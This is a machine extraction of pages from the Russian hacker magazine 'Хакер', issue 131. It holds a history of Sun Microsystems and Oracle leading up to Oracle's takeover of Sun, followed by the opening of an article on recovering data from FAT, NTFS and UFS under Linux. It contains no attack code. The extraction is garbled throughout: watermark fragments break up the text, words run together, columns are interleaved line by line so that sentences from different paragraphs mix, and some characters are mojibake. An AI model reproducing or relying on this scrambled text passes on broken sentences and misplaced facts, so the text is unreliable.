книги хакеры / журнал хакер / 131_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
МУЗЕЙНЫЙСТЕНДSUNВСТЕНФОРДЕ.НАФОТО—ЧЕТВЕРКАОСНОВАТЕЛЕЙ
МИЛЛИОННАЯКОПИЯСИСТЕМЫ,ВСБОРЕВСЕРУКОВОДСТВОSUN,КОРОБКУДЕРЖИТСКОТТМАКНИЛИ
SUN MICROSYSTEMS INC.
ОкомпанииSun мыужеписалинеоднократно.
ВпредыдущихномерахтыможешьнайтииподробнуюисториюSun икучусамойразнойинфы оеепродуктах(втомчислеиовзломеоных), а такжепочитатьбиографииключевыхлиц. ТакоевниманиекSun снашейсторонысовсем неудивительно, всежеонибылиоднимиизпервопроходцеврынкаипосовместительствумного летоставались однимизегофлагманов. Впрочем, еслитынехочешьискатьстарыеномераилинеимеешьтакойвозможности, краткую «историческуюсправку» явсежеприведу:
Sun Microsystems былаоснованав1982 году, и
рукикеезарождениюприложилиизвестный венчурныйинвесторВинодХослаипрограммистыЭндиБехтольшеймиСкоттМакнили. Чуть позжекэтойтроицеприсоединилсяещеодин прогер— БиллДжой.
АббревиатураSUN произошлаотназвания
Stanford University Network («СетьСтенфордско-
гоУниверситета») — проекта, которымзанималисьБехтольшеймиМакнили, какнетрудно догадаться, будучивыпускникамиСтенфордскогоуниверситета:).
Нарынокчувакипришли, имеябольшие планыибудучиполныидей. Всеначалосьеще супомянутогоуниверситетскогопроекта, входе реализациикоторогоимпотребовалисьмашины дляCAD/CAM-приложений, иБехтольшейм спроектировалдляэтихцелейпервуюрабочую станциюSun — Sun 1. Станциятакудалась, что нашихгероевпосетиламысль, чтоизвсегоэтого можетполучитьсябизнес, ведьвсетожесамое можноделатьинапродажу.
Втовремямалоктопомышлялособственном,
персональномкомпьютере—вбольшинствесвоем людиработалинамикрокомпьютерахпоочереди, илижеврежимеразделениявремени.Втаких условияхпредложитьпользователямсравнительнонедорогиеимощныерабочиестанциис поддержкойсети(девайсынесливсебеEthernetадаптер,поддерживающийTCP/IP, позволявший использоватьраспределенныевычисления) виделосьоченьнеплохойидеей.
Ихотяэтотсегментрынкаужеотнюдьнебылпуст
—здесьприсутствовалииApple иIBM, иHP и Apollo сосвоимирабочимистанциями, имногие другие, этооснователейSun неостановило.
Вцеляхборьбысконкуренциейонирешили базироватьсвоистанциитольконапромышленныхкомпонентах, атакжебесплатномиоткрытом Unix, усовершенствованномличноБилломДжоем(коийявляетсяоднимиз«отцов» BSD UNIX. Вобщем-то, из-заUnix Джойипопалвкоманду Sun). Каквыяснилось, онинепрогадали. Практическиссамогооснованиякомпании лозунгом, теглайномибессменнымдевизомSun сталафраза«Сеть— этокомпьютер!». Тоесть, помнениюспецовSun Microsystems: «Настоящимкомпьютеромможетсчитатьсятолькосеть компьютеров». Поспоритьсэтимутверждением сложно, достаточнопредставить, чтоутебянет интернетаипроникнуться, мысльюкакэтобыло быужасно:).
Однаковтегодывсебылодалеконетакпросто. Прогрессещетольконачиналсвоешествиев массы, осетяхчеловечествотольконачинало предметнозадумываться, идевизпотемвременамказалсяфактическиреволюционным.
Но, какнистранно, упомянутыемассынеимели ничегопротивнебольшойреволюции. «Сете-
ЛИДЕРORACLEЛАРРИЭЛЛИСОН
вая» политикамолодойфирмыпришласьрынку оченькстати, уженавторойгодсуществования компаниионапринеслаSun контрактна40 миллионовдолларовсComputervision — основ- нымпоставщикомCAD-системтоговремени. Контракт, кстати, былуведенпрямоиз-подноса главногоконкурента— Apollo.
Немногимпозженасветпоявиласьтехнология
Network File System (NFS), котораяещебольше укрепилафундаментбудущегогиганта(икоторую, кстати, продолжаютюзатьпосейдень).
МультиплатформеннаяNFS (онаработалапод
MS DOS, IBM DOS, Mac’ом, VMS иниксами)
позволялаюзерамполучитьдоступкресурсам других, удаленныхмашинвсети. Самоеинтересное— NFS былаоткрытой, залицензиюна получениеисходногокодаSun просилисовсем немного. Такимобразом, вSun смоглинетолько заработатьнаNFS сами, ноисделалитехнологиюобщедоступной, атакжесмоглиразвиватьее нетолькосвоимисилами, ноисиламиконкурентовипростых, стороннихразработчиков. Ход, конечно, рискованный, но, цитируяБиллаДжоя: «Создатьрынок— значитвладетьим!». Похожиесхемыкомпаниявпоследствииреализовываланеоднократноипрактическивсегда успешно.
ORACLE CORPORATION
АтеперьпришловремяпоговоритьозарожденииOracle, котораяещестаршеSun Microsystems.
ОсновалиOracle в1977 году, иисходнофирма носиланеприметноеимяSoftware Development Laboratories. Насамомделе, передтемкак обрестизнакомоенамимя, компанияуспела пережитьцелыйрядметаморфоз: так, в1979
названиеизменилосьнаRelational Software Inc,
в1982 — наOracle Systems (вчестьфлагманского продуктакомпании: Oracle database) и, наконец, парулетспустя, мируявилсявеликийиужасный
Oracle Corporation.
Основалибудущегогигантавобластиразработкисистемуправлениябазамиданныхтричеловека— ЭдОутс, БобМайнериЛарриЭллисон. Пожалуй, можносказать, чтовсудьбеOracle наиболееважнуюрольсыгралпоследнийиз перечисленнойтроицы— ЛарриЭллисон, ведь именноеговсегданазывалимозгомкомпании. Поэтомуонемярасскажуподробнее.
ВдетствеиюношествеЭллисонарешительно ничтонепредрекало, чтоонстанетоднимиз богатейшихлюдейнапланете. Деловтом, чтоЛарри— сын19-летнейиммигранткииз
Одессы, онродилсявБронксе, ивмладенческом возрастебылоставленматерьюнапопечениеее дядиитети(которыевпоследствииисталиего приемнымиродителями).
XÀÊÅÐ 11 /131/ 09 |
069 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
СЦЕНА
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Онникогданезналдажеимени |
вжизнисерьезнойпрограммыи |
понадобилисьбольшиемощности |
компанииCray. Историяуэтойсдел- |
своегобиологическогоотца, адо |
первойбольшойбазыданных, ион |
(вчастности, Sun болеенеустраи- |
кизабавная— известныйпроизво- |
48 летнезналисвоейнастоящей |
справился. Получившемусядетищу |
валипроцессорыотMotorola), было |
дительсерверовhigh-end класса |
матери. Егоприемныйотецугодилв |
ЭллисондалимяOracle. |
решеноразработатьсобственный |
Cray строилсвоимашиныначестно |
тюрьму, когдаЭллисонубыловсего |
Отом, чтобылодальше, ты |
проц— возможностидляэтогоиме- |
купленныхуSun технологиях, но |
18, априемнаяматьумерлаитого |
ужезнаешь— вдохновленный |
лись. Такпоявился32-разрядный |
любыепредложенияослияниис |
раньше. |
процессомпрограммирования |
микропроцессорSPARC, созданный |
Sun отвергал. Однако, витоге, Cray |
ВтожевремяЭллисонупришлось |
ирядомпубликацийвпрессе(в |
набазепереработаннойRISC-ар- |
поглотилавеликаяиужаснаяSilicon |
оставитьвторойкурсуниверситета |
частности, статьейвIBM Journal |
хитектуры. Онположилначалоеще |
Graphics, и, нежелаяработатьс |
(University of Illinois at Urbana- |
of Research and Development о |
однойветвибизнесаSun — «желез- |
чужимиплатформами, принялась |
Champaign). Причинабылабаналь- |
системахуправленияреляцион- |
ной». ИздесьSun сновапошлапо |
избавлятьсяотлишнегобалласта. |
на— из-завсехсвалившихсяна |
нымиБД), Эллисонвидитвэтом |
проверенномупути— архитектура |
ВSun былитолькорады«забрать» у |
негоперипетийЭллисонзавалил |
хорошиеперспективыдлябизнеса |
SPARC былаоткрытой, приобрести |
SGI ненужныеейподразделения. |
экзамены. |
ирешаетпоставитьнаписание |
лицензиюнаееиспользование |
Благодаряэтойсделке, «солнеч- |
Ищалучшейжизни, свободныйкак |
софтанакоммерческуюоснову, |
легкомог(ипосейденьможет) |
ные» далистартпроекту«Starfire», |
ветериещесовсеммолодойЛарри |
открывсобственнуюфирму. Его |
любойжелающий. Втожевремя, |
изкоторогопозжевыросло |
решилподатьсявсевернуюКали- |
партнерамипобизнесуисоучре- |
вконце80-хгодов, Sun начала |
пополнениевлинейкеUNIX-серве- |
форниюкдругу, гдеиосел, попутно |
дителямистановятсяколлегипо |
покупатьдругиекомпании, фирмыи |
ров— многопроцессорныймонстр |
сновапоступиввуниверситет(на |
Ampex ипроектуOracle — Роберт |
фирмочки. Однимизпервыхприоб- |
Ultra Enterprise 10000. Такимиво |
этотразвуниверситетЧикаго). Там |
МайнериЭдОутс. Стоитотметить, |
ретений, например, сталаCentram |
временабумадоткомов, например, |
Ларризанялсяпрограммировани- |
чтостартовыйкапиталЭллисон |
Systems West, купленнаяв1987. |
пользовалсяeBay. Ценаполностью |
ем, атакженашелработу, устроив- |
выложилизсвоегокармана, |
Компаниязанималасьразработкой |
сконфигурированногодевайсалег- |
шисьвкомпаниюAmpex. |
«инвестировав» всобственные |
сетевогософтадляПК, «Маков» и |
кодостигаламиллионадолларов. |
Забавно, нопокакой-топрихоти |
начинания$1400. |
системSun. Втомжегодубылапри- |
«Свежейкрови» всерверные |
вселеннойAmpex Corp, основанная |
ÊÒÎ ÊÎÃÎ «ÑÚÅË» |
обретенаещеиTrancept Systems, |
деладобавилапокупкакомпании |
вконцеВтороймировой, тожедело |
разрабатывавшаяускорители |
Integrated Micro Products, специа- |
|
рукрусскогоиммигранта— пол- |
Вернемсяктому, счегоначаласьэта |
изображенийивидеодлярабочих |
лизировавшейсянаотказоустойчи- |
ковникацарскойармии, инженера |
статья— кгрядущемуслияниюдвух |
станций. Новсеже, нерабочими |
выесерваках. |
ипредпринимателяАлександра |
гигантов. |
станциямиедиными... Наступили |
Какможнопонять, делауSun и |
|
|
|
такшлиболеечемнеплохо, абум |
CRAYПОГЛОТИЛАВЕЛИКАЯИУЖАСНАЯSILICON |
доткомов, имевшийместовконце |
||
90-х, начале2000-хгодовтолько |
|||
GRAPHICS,И,НЕЖЕЛАЯРАБОТАТЬСЧУЖИМИ |
«усугубил» положение. Прибыли, |
||
выручки, ценынаакции, всеуве- |
|||
ПЛАТФОРМАМИ,ПРИНЯЛАСЬИЗБАВЛЯТЬСЯОТ |
ренношловверх. Нужносказать, |
||
чтокэтомумоментуSun подошелво |
|||
ЛИШНЕГОБАЛЛАСТА. |
|
всеоружии: в1995 ониявилимиру |
|
|
платформуJava ивсеснейсопря- |
||
|
|
|
женное; успешновнедрилиплат- |
МатвеевичаПонятова. Название |
ОказалилиSun иOracle влияние |
90-е, иSun Microsystems потихонь- |
формуOpen Network Computing; |
Ampex какразпроисходитотего |
нарынок? Безусловно. Болеетого, |
куприняласьменяться. Еслидо |
перешлинасобственнуюОСSolaris, |
инициаловититула: обращение |
онипродолжаютвлиятьнанегои |
этогоееосновнымпродуктомбыли |
сформировавподразделение |
«ВашеПревосходительство» по- |
сейчас. Еврокомиссиянедаром |
упомянутыеворкстейшоны, тоте- |
SunSoft, занимавшеесяразвитием |
английски— excellence. AMPex = |
медлитсрешениемужеболеепо- |
перьпришлапорауделитьбольше |
ОСисопутствующегоПО; предла- |
A.M.Poniatoff EXcellence. |
лугода, рассматриваяихгрядущую |
вниманиясофтудлянихизаняться |
галиширокийспектрсерверови |
КомпаниявцеломиПонятовв |
сделкусовсехвозможныхсторон. |
дальнейшимразвитиемсобствен- |
рабочихстанцийвсехмастей. |
частностиизвестны, например, |
Послезавершенияслияния, вруках |
ных«железок». |
Ну, акогдавсескладываетсякак |
тем, чтоименноблагодаряимбыли |
Oracle окажутсявсеразработкиSun |
В1991, выкупивуEastman |
нельзялучше, «времяпокупать»! |
изобретеныиувиделисветтакие |
вобласти«железа», фактическая |
Kodak фирмуInteractive Systems |
Однимизудачнейшихприобрете- |
замечательныевовсехотношениях |
монополиянатехнологиюJava, |
Corporation, Sun какое-товремя |
нийSun вконце90-хсталанемец- |
девайсы, каккатушечныйаудио- |
плюсихсобственныедостижения |
выпускалидевайсысихInteractive |
каяфирмаStarDivision, разрабаты- |
магнитофонивидеомагнитофон. |
напоприщесистемуправления |
UNIX (портоперационнойсистемы |
вавшаяофисныйпакетStarOffice. |
Многиелидерырынкавидеотехно- |
базамиданных.Но, какужебыло |
UNIX System V напроцессорыIntel |
Вселицензированныечастииз |
логий— Sony, JVC, Toshiba, Phillips и |
сказановначале— бизнесесть |
x86) наборту. Кконцу90-х, когдау |
пакетабылиудалены, послечего |
т. д. — долгиегодыработалиименно |
бизнес, икогдаречьидетовысшей |
Sun появилсясвойSolaris ОС, инте- |
оставшуюсячастьдокументациии |
попатентамПонятова. Словом, |
лиге, здесьнеобойтисьибез |
рескInteractive UNIX ониутратили. |
кодаполностьюоткрыли. Набазе |
проAmpex иееоснователяможно |
длиннойисториисделокпопокупке |
В1994 и1996 годахSun покупает |
этихисходников, например, возник |
рассказыватьещедолго, нотаккак |
перспективныхстартапов, агони- |
сначала«железную», апотом |
проектOpenOffice.org, который |
речьсейчаснеоних, ограничусь |
зирующихконкурентовитакдалее. |
исофтвернуючастькомпании |
Sun такженеобошлавниманием |
лишьтем, чтозамечу— Эллисонпо- |
КогожепокупалиOracle иSun, кого |
Thinking Machines — разработчика |
иподдержала. Плюс, конечно, |
лучилдолжностьвоченьинтерес- |
поглощали, наращиваямощьикак |
высокопроизводительныхмашин. |
корпоративнымклиентамStarOffice |
номиперспективномместе. Один |
сталитем, чемстали? |
Интересно, чтоостаткикомпа- |
продолжалипродолжаетпостав- |
изпроектов, надкоторымЛарри |
SUN |
нии, котораяещекакое-товремя |
ляться, являясьпроприетарнымПО. |
работалвAmpex Corporation, ока- |
продолжалаработать, занимаясь |
Вотнекоторыедругиесделкиконца |
|
залсясвязанссозданиемБДдля |
ИсторияSun развиваласьстреми- |
исключительнодатамайнингом, в |
90-х, начала2000-х: 1997 — Chorus |
ребятизЦРУ. Посути, дляЭллисона |
тельно. Рабочиестанциипрода- |
1999 годувыкупитOracle. |
Systems, создателиChorusOS. |
этовылилосьвнаписаниепервой |
валисьхорошо, икогдакомпании |
Втомже1996 кSun перешлаичасть |
1998—i-Planet,небольшаясофт- |
070 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
SOLARISOSПРИВЕТСТВУЕТТЕБЯ:) |
ПРОЦЕССОРULTRASPARC. |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
вернаякомпания,написавшая |
отдельноот«железа» — обычноэту |
панииSybase иInformix, битвас |
ЗАКЛЮЧЕНИЕ |
e-mailклиент«PonyEspresso»для |
рольнасебябралисамивендоры. |
которымидлиласьнескольколет. |
Когдав2008 былиобнародованы |
мобильников. 1998—NetDynamics, |
Врезультате, продуктыOracle, |
Oracle тогдаоказалсянаграни |
печальныецифрыстатистики, |
создателиNetDynamicsApplication |
быстронаучившиесяработатьс |
банкротства— продажиупалина |
согласнокоторымубыткиSun |
Server.2000—CobaltNetworks,про- |
самымиразнымиплатформамии |
80%, расходыпревышалидоходы, |
Microsystems исчислялисьсотнями |
изводительустройствдлядоступав |
комплектующими, произвелина |
иэтопонеслозасобойсокраще- |
миллионовдолларов, аколичество |
интернет.2001—LSCInc.,разработ- |
рынкенастоящийфурор. Самымиз- |
ния. Казалось, чтоещенемногои |
уволенныхсотрудниковуже |
чикиStorageandArchiveManagement |
вестнымпродуктомкомпаниибыла |
компаниязачахнетсовсем. Тогда |
измерялосьвтысячах, начались |
FileSystemиQuickFileSystem. |
иостаетсянепосредственноСУБД |
Эллисонпринялрешение, обновить |
разговорыоскоройпродажекомпа- |
Однаковсераноилипоздноконча- |
Oracle, сгодамипретерпевавшая |
составпрактическивсегоруководя- |
нии. Ихподтвердилисообщенияв |
ется,и«белаяполоса»висторииSun |
различныеметаморфозы. |
щегозвена, иэто, очудо, помогло. |
прессе, появившиесявначале2009 |
оборвалась,когдалопнулпузырь |
Так, Oracle v2 (пустьцифра2 тебяне |
ВыпускновыхБД, внимательность |
года— слухигласили, чтокомпания |
доткомов.Резкоепадениевыручек |
смущает, этобылаперваяверсия |
иаккуратностьпоотношениюк |
IBM сделалаSun предложение, |
ипадениеценнаакцииповлеклоза |
«Оракула»), вышедшаяв1979, |
маркетинговойполитике— всеэто |
ценой6.5 млрд. долларов. Однако, |
собоймногочисленныеувольнения, |
быланаписананаассемблереи |
сумелоспастикомпанию. |
информациянеподтвердилась, |
сокращениепроизводстваисмену |
сталапервойкоммерческойСУРБД |
НарукуOracle сыгралитотфакт, что |
илиже, согласно«проверенным |
руководствакомпании.Перечис- |
наязыкеSQL — весьосновной |
Sybase в1993 осуществилслияние |
источникам», Sun иIBM несумели |
ленное,конечно,тоженеулучшило |
функционалSQL онареализовы- |
скомпаниейPowersoft, аправа |
достигнутьконсенсуса. Второе |
общейситуации. Вэтожевремя |
вала. Стоитотдельноотметить, что |
насвойсофтподWindows продал |
известиеужеоказалосьправди- |
многиекрупныекомпаниистали |
Эллисонисотоварищи«подсмот- |
Microsoft. Кстати, теперьихпродукт |
вее: вапреле2009 Sun иOracle |
отдаватьпредпочтениенедорогосто- |
рели» всеэтоуIBM, котораякак |
известенподименемSQL Server :), |
официальнообъявилиосвоей |
ящимсерверамSun,аболеепростым |
разработаланадSLQ иБД, ноне |
КонецконкуренциисInformix и |
сделке. Пресс-релизыгласили, что |
решениям,вродесерверовх86-архи- |
виделавэтомособыхкоммер- |
вовсеположилслучай. В1997 |
Oracle предложил$9.50 заакцию, то |
тектурыПК-класса,работающихпод |
ческихперспективинебоялась |
противостояниемеждукомпаниями |
есть, всуммераскошелилсяна$5.6 |
Линуксом.Конечно,ихтребовалось |
писатьобэтомстатьи:). Витоге, |
несходилоспервыхполосСМИ, и |
миллиарда, асучетомдолговSun — |
больше,новсеравновыходилокуда |
Oracle опередилиIBM свыпуском |
Informix какразготовилаочередной |
на$7.4 миллиарда. Уже16-гоиюля |
дешевле.ВпоследствииSunудалось |
ихСУБДSystem R, показав, что |
«ответныйудар», когдаеедиректор |
сталоизвестно, чтоакционерыSun |
немногоисправитьэтуситуацию— |
коммерческиеперспективыуБД |
ФилУайтнеожиданнопопалвтюрь- |
дали«добро» насовершениесдел- |
помоглиновыепроцессоры,вчаст- |
простопрекрасные— недостаткав |
му. Потерявсвоеголидера, Informix |
ки, ногосударственныеинстанции |
ностиUltraSPARCT1,новозвраще- |
покупателяхненаблюдалось. |
постепенносдалапозиции, ав2000 |
такторопитьсянесобирались. |
ниякпрежнимвременамвсеравно |
Oracle v3, всвоюочередь, ужебыла |
ивовсебылапоглощенакомпанией |
Быстреевсехзакончилосвои |
ждатьуженеприходилось.Впериод |
написана, точнее, переписанана |
IBM. Получивперерыввпарулет, |
проверкиправительствоСША—оно |
медленногоугасания,длившийся |
Си. Онанаучиласьподдерживать |
Oracle успелаполностьювстатьна |
одобрилосделкуещевавгусте.А |
сначала2000-хгодовидонаших |
транзакцииисталапервойСУРБД, |
ноги, вернутьсебепрежнююмощь |
вотЕврокомиссиядолжнабылавы- |
дней,SunMicrosystems,конечно, |
работающейнамейнфреймах, |
иподготовитьсяквыходунарынок |
нестирешениеэтойосенью,однако |
успелазаключитьещемножество |
мини-компьютерахиПК. Oracle |
новыхкрупныхконкурентов, в |
отодвинуласрокнапервыйквартал |
сделоки«съела»десяткикомпаний, |
вообщечастооказывалсяпервым. |
частности, Microsoft SQL Server. До |
2010года.Пристальныйинтерес |
ноупоминаниядостойна,пожалуй, |
Дальнейшиеверсиипродолжили |
начала2000-хгодовOracle, какни |
европейцеввызываеттотфакт,что |
лишьоднаизних:вначале2008года |
обрастатьполезностямиинеобхо- |
странно, нестремилсяперекупать |
SunвладеетMySQL.Российскаяфе- |
агонизирующий,нонежелающий |
димостями, иеслив1980 годуштат |
все, чтоплохолежит. Затос2005 |
деральнаяантимонопольнаяслужба |
сдаватьсяSunприобрелMySQL |
компаниинасчитывалвсего7 чело- |
года, начавшегосясприобретения |
тоженеторопитсясвынесением |
AB—разработчиковиобладателей |
век, агодовойдоходнепревышал |
компанииPeopleSoft, врукиOracle |
вердикта.Повторюсь:колебания |
правнаopen-sourceСУБДMySQL. |
миллионадолларов, тоужев1986 |
отошлидесяткифирм(более50, |
антимонопольщиковможнопонять. |
ПокупкаобошласьSunпочтивмил- |
годуOracle благополучновышелна |
точнуюцифруназватьсложно). В |
ВместеSunиOracleсоставляют«иде- |
лиарддолларовисулилахорошие |
биржу, ставпубличнойкомпаниейс |
основномOracle приобреталсред- |
альнуюпару».Водномместесойдут- |
перспективы,делая«солнечных» |
доходомв55 миллионов. |
нихразмеровкомпании, такили |
сяпрактическиполнаямонополияна |
однимиизкрупнейшихигроковна |
Вплотьдо90-хгодовделауOracle |
иначесвязанныеспроизводством |
Java,серьезныеhardware-мощности, |
рынкеopensorce.Новконце2008 |
шлихорошоировно, безкаких-ли- |
БД— все, чтомоглопригодиться, |
мощнейшаяБД,укомплектованная |
появилисьпервыеслухиотом,что |
боэксцессов, ивозможноименно |
покупалось, новтожевремяOracle |
опцияминавсеслучаижизни,Virtual |
самаSunскоробудетпродана.Вско- |
поэтомусотрудникиизлишне |
нераспылялся. |
box,SolarisОС,MySQLимногое, |
реэтислухиподтвердились. |
расслабилисьиупустилиперелом- |
Самойкрупнойсделкойв«пос- |
многоедругое.Какраспорядится |
ORACLE |
ныймомент. Oracle ужеуспелстать |
лужномсписке» Oracle насегодня |
всемэтимOracle,отчегооткажется, |
однимизлидеровнарынкеПО, но |
является, конечно, завершающееся |
чтопродолжитразвивать,ачтоадап- |
|
Oracle фактическисталаодной |
незаметилприходасильныхконку- |
поглощениеSun, аналоговкоторому |
тируетподсебя,известно,пожалуй, |
изпервыхвисториикомпаний, |
рентови«пропустилудар». |
помасштабностииценевистории |
толькоЛарриЭллисону.Нокаждому |
котораяначалапродаватьСУБД |
Главными«врагами» сталиком- |
Oracle поканебыло. |
ясно,чтоперспективыогромны. z |
XÀÊÅÐ 11 /131/ 09 |
|
|
071 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
|
|
UNIXOID |
|
||||
|
|
|
|
|
|
m |
МАКСИМ «HATCHET» ПОЛЕВОЙ MAKS.HATCHET@YANDEX.RU |
||||||
|
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
Ñâîéсреди чужих
ВОССТАНАВЛИВАЕМДАННЫЕСFAT,NTFS ИUFS,НЕПОКИДАЯLINUX
О ВОССТАНОВЛЕНИИ ДАННЫХ С ФАЙЛОВЫХ СИСТЕМ LINUX НЕ ПИСАЛ ТОЛЬКО ЛЕНИВЫЙ. ДЛЯ ВЫПОЛНЕНИЯ ЭТОЙ ЗАДАЧИ СУЩЕСТВУЕТ МНОЖЕСТВО САМЫХ РАЗНООБРАЗНЫХ СРЕДСТВ, ВКЛЮЧАЯ УТИЛИТУ DEBUGFS, КОТОРАЯ С ЛЕГКОСТЬЮ ИЗВЛЕКАЕТ ЛЮБЫЕ ПОТЕРТЫЕ ФАЙЛЫ С EXT2. НО КАК ЖЕ БЫТЬ С ДРУГИМИ ФС? КАК ВОССТАНОВИТЬ ИСЧЕЗНУВШИЙ ФАЙЛ С ФЛЕШ-БРЕЛКА ИЛИ РАСПОЛОЖЕННОГО РЯДОМ NTFS-РАЗДЕЛА? ОБ ЭТОМ МОЛЧАТ ДАЖЕ САМЫЕ ТРУДОЛЮБИВЫЕ БЛОГГЕРЫ. А МЕЖДУ ТЕМ, ВСЕ ОЧЕНЬ ПРОСТО И ПРОЗАИЧНО.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Íевсегдаудобноперезагружатьсяв другуюоперационнуюсистемудля выполнениядействийпопроверке файловыхсистем, восстановления файлов, измененияразмераразделов
